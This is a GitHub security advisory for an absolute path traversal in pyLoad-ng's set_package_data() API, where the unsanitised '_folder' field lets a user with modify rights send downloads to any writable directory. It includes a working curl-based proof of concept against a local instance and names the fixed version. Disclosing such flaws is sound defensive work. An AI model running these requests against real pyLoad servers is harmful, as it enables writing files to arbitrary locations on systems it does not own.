GHSA-838g-gr43-qqg9 PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data

• PyPI pyload-ng: < 0.5.0b3.dev100 → fixed in 0.5.0b3.dev100

Summary No sanitization of package folder name allows writing files anywhere outside the intended download directory. Affected Component • `src/pyload/core/api/__init__.py` • Function: `set_package_data()` Details When passing a folder name in the `set_package_data()` API function call inside the data object with key `"_folder"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package. PoC 1) Create a package, note response package ID e.g. `5` ``` curl -X 'POST' \ 'http://localhost:8000/api/add_package' \ -H 'accept: application/json' \ -H 'X-API-Key: ' \ -H 'Content-Type: application/json' \ -d '{ "name": "set_package_data_exploit_poc", "links": [ "http://example.com/file.txt" ], "dest": 1 }' ``` 2) Call set_package_data for this package ID with an arbitrary directory ``` curl -X 'POST' \ 'http://localhost:8000/api/set_package_data' \ -H 'accept: */*' \ -H 'X-API-Key: ' \ -H 'Content-Type: application/json' \ -d '{ "package_id": 5, "data": { "_folder": "/users/root/" } }' ``` 3) New download folder will be set without any checks ``` curl -X 'GET' \ 'http://localhost:8000/api/get_queue' \ -H 'accept: application/json' \ -H 'X-API-Key: ' ``` Response: ``` [ { "pid": 5, "name": "set_package_data_exploit_poc", "folder": "/users/root/", "site": "", "password": "", "dest": 1, "order": 1, "linksdone": 0, "sizedone": 0, "sizetotal": 0, "linkstotal": 1, "links": null, "fids": null } ] ``` Impact Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.
